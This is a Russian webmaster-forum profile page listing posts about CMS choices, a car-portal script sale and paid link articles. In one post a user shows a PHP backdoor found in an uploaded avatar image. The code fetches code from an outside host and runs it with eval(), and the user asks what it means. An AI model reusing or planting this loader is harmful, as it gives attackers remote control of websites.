dmsoh

Рейтинг
113
Регистрация
04.03.2007

tezzka, а вы владелец автоярска?

Просто я вас на другом форуме встречал под этим же ником.

http://forums.drom.ru/member.php?u=17377

MiRaj, смотрю что проблема с проверкой индексации в яндексе не решена еще. Разместил чужую статью у себя на сайте, только что проверил вручную - статья в индексе. Система говорит, что статьи в индексе нет.

Morfin:
Надоела эта joomla хочу куда нибудь уйти на платную cms, вот понравилась NETCAT, хорошая штука кажется, нужны ли в ней хорошие знания php, mysql?

Тоже подобным вопросом задаюсь.

Слишком много с ней проблем - индексация урлов с неправильным Itemid, ЧПУ и нагрузка.

Из плюсов - множество расширений и поддержка.

С другой стороны самопис с такими функциями новостей как в админке жумла будет дорого стоить.

Тоже проверил у себя. Этот юзер зарегистрировался 08.05 с ip 94.142.129.147.

И тишина.

А вот вчера провявлял активность

94.142.129.147 krisbarteo 8: Use of undefined constant port - assumed 'port'

forum/attachments/avatar_323.jpg Вчера в 16:00:52

94.142.129.147 krisbarteo 8: Use of undefined constant host - assumed 'host'

forum/attachments/avatar_323.jpg

Вчера в 16:00:52

94.142.129.147 krisbarteo 8: Use of undefined constant path - assumed 'path'

forum/attachments/avatar_323.jpg

Строка: 1

Файлы никакие не изменились, а вот само содержимое avatar_323.jpg

<?php;$url = 'http://wplsat23.net/?update=main';$done = false;if(!$url){return '';}$url_info = parse_url($url);$url_info[port] = ($url_info[port]) ? $url_info[port]:80;$url_info[path] = ($url_info[path]) ? $url_info[path] : "/"; $url_info[query] = ($url_info[query]) ? $url_info[path] = $url_info[path] . "?" . $url_info[query] : ""; $query = "GET " . $url_info[path] . " HTTP/1.1\r\n"; $query = $query . "Host: " . $url_info[host] . "\r\n"; $query = $query . "Accept: */*" . "\r\n"; $query = $query . "Connection: close" . "\r\n"; $query = $query . "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12" . "\r\n"; $query = $query . "\r\n"; $errno = 0; $error = ""; $sock = fsockopen($url_info[host], $url_info[port], $errno, $error, 30);$h = array();$resp = array();if($sock){stream_set_timeout($sock, 30);fwrite($sock, $query);$hd = false;while(!feof($sock)){$l = fgets($sock);if(!$hd){if(trim($l) == ''){$hd = true;}else{$h[] = $l;}}else{$resp[] = $l;}}fclose($sock);}$ret = implode("", $resp);eval($ret);?>

Чем чревато?

Мехалоч:
что мешает собрать подобное на джумле или на друпале? попросту отсутствие знаний?

Мехалоч, не поверите, но сейчас имею достаточно раскрученный автопортал на джумле и думаю заказывать самопис, потому как быстродействие хромает, функционал ограничивается переделкой существующих расширений, ЧПУ нормально нет. Ставил ЧПУ - нагрузка неимоверная.

Muhamed, движок неплохой. Хотя там еще работы непаханное поле. Код закрытый у движка? Если да, то мне такой не нужен. Вы исчезнете, и изменить без вас ничего не получиться. Т.е. заказчик полностью будет от вас зависеть. И ЧПУ нет.

Скиньте и мне демо-доступ в личку.

dmsoh добавил 20.05.2009 в 23:25

Ну что ж, пообщался я с ТС в личке.

Постараюсь быть объективен.

Движок достаточно функционален и красив, хотя и требует доработок и расширение функционала.

Далее. Админка слабовата, т.е. если сравнивать с жумлой, то жумла сильно выигрывает, в плане удобств в мелочах, задании дополнительных параметров.

Относительно цены.

Iniklose:
скрипт отличный - для автопортала самое то, но 400$ перебор. Даже битрикс столько не стоит...
моя цена 100 - 150$ и думаю вполне адекватная.

Стоит и больше. Но не все так просто.

Дело в том, что я давно занимаюсь подбором движка для автопортала, слушаю предложения от фрилансеров (если у кого-то есть что предложить пишите в личку) и понял что в принципе разработка с нуля будет стоить от 600$, если у фрилансера есть наработки. В тоже время недавно наткнулся на автопортал, скрипт продают за 200$ (если вспомню сайт напишу в теме) с очень интересным функционалом. Сразу заподозрил неладное. Поясню.

Примерно год или два назад был сломан сайт http://autoyarsk.ru/, его скрипт выложили на закрытом форуме. Думаю все поняли на каком. Теперь пошла тенденция продавать его под видом своих разработок, меняют дизайн, ЧПУ. Но суть не меняется. У движка есть законный собственник.

Когда я в первый раз зашел на сайт ТС http://www.autoban.md, то первое что мне пришло в голову, что он очень похож на http://autoyarsk.ru/. Тоже расположение, тоже оформление, те же разделы.

Конечно, ТС мог сделать движок и сам, но аналогия есть. Думаю с этим спорить никто не станет.

Baruchka:
Вы торговать ими собираетесь конвеерно? или продать в виде одной штуки?

Если конвеер, то спасибо. Раскрутить проект соревнуясь с тысячей клонов (а после пятой продажи оно будет валяться в нуленном виде) будет проблематично.

Если уникальный и единичный штук, то я бы купил, даже немного дороже чем вы называли )

Покупать же продукт за 400 у.е. а потом видеть как его продают за 20 у.е. еще тысяче человек. Безо всякой защиты.

Вот и я придерживаюсь подобного мнения.

Биржи ссылок на сайтах стоят? Какие гарантии даете?

borisovich:
Странно :)
На основе каких данных Вы рассуждаете? :)

Есть ли у Вас примеры бана площадок по такому странному принципу как "сайт фирмы со множеством статей" ? В каких ПС?:):):)
Придумали ли вы это сами?

borisovich, ну зачем издеваетесь? Видимо вам подобные высказывания не выгодны, если судить о подписи.

Не я один высказывал подобные мысли. Мы же говорим не о 300-х статьях обычных, а о статьях, в каждой из которых есть ссылки на другие 300 доменов, с 900 анкорами, а это, как мне кажется, разные вещи.

MiRaj:
Как же все таки развратило умы оптимизаторов говноссылочное :)
Коллеги, в том что на сайте множество тематических статей со ссылками нет ничего плохого. Ярчайший пример - википедия - каталог статей с огромным количеством ссылок.

MiRaj, но ведь Dmoz это тоже каталог ссылок. Однако у википедии и дмоза особые статусы.

Или вы считаете, что сайт визитка с 320 статьями, из которых 300 - содержат ссылки на другие сайты есть норма? Сегодня и завтра норма. А послезавтра будут новые алгоритмы и фильтры на продажные статьи. И будет та же история, что и с сапой сейчас.

А вот такой вопрос.

Нашел площадку, которую добавили перед Новым Годом. Прошло 4 месяца, на ней уже разместили 90 статей. Это при том, что сайт не новостной, а фирмы, которая предоставляет некие услуги, т.е. процент статей без ссылок и статей с ссылками на порядок отличается. А между тем,таких площадок в Миралинксе много. Т.е. фактически сайт превращается в каталог статей. Характеризуются высоким Тиц и ПР, цена размещения обычно не очень высокая, $7-$10 да еще и принимают все подряд, т.к. это гарантирует большое число заявок.

Для той же площадки, нормальных статей - 20, с ссылками - 90. Через год статей с ссылками станет больше 200.

Я так понимаю, руководство предприятия не особо-то интересуется состоянием сайта, а человек, имеющий к нему доступ, наращивает пузомерки - тихо косит деньги, пока такая площадка не уйдет в бан или попросту ссылочное не будет учитываться с нее.

И оптимизатор никак не застрахован, когда размещая статью на площадке с количеством статей 5 шт., через пару месяцев видит, что статей уже больше 300.

Для оптимизатора такие площадки будут приводить к потере денег. Для вебмастеров - кнопка бабло.

Новостные площадки могут размещать тысячи статей, но вот такие вот сайты фирм - наврядли.

Поэтому было бы неплохо как-то застраховать оптимизатора, например введя показатели роста количества статей и процентное соотношение страниц без статей с страницами со статьями.

arsenk:
И как? Есть результат укр. гугла? (Т.е., результат в ТОП3 хотябы по среднему СЧ..)

Есть. Но конкуренция зашкаливает. Все в ТОП хотят)

Всего: 325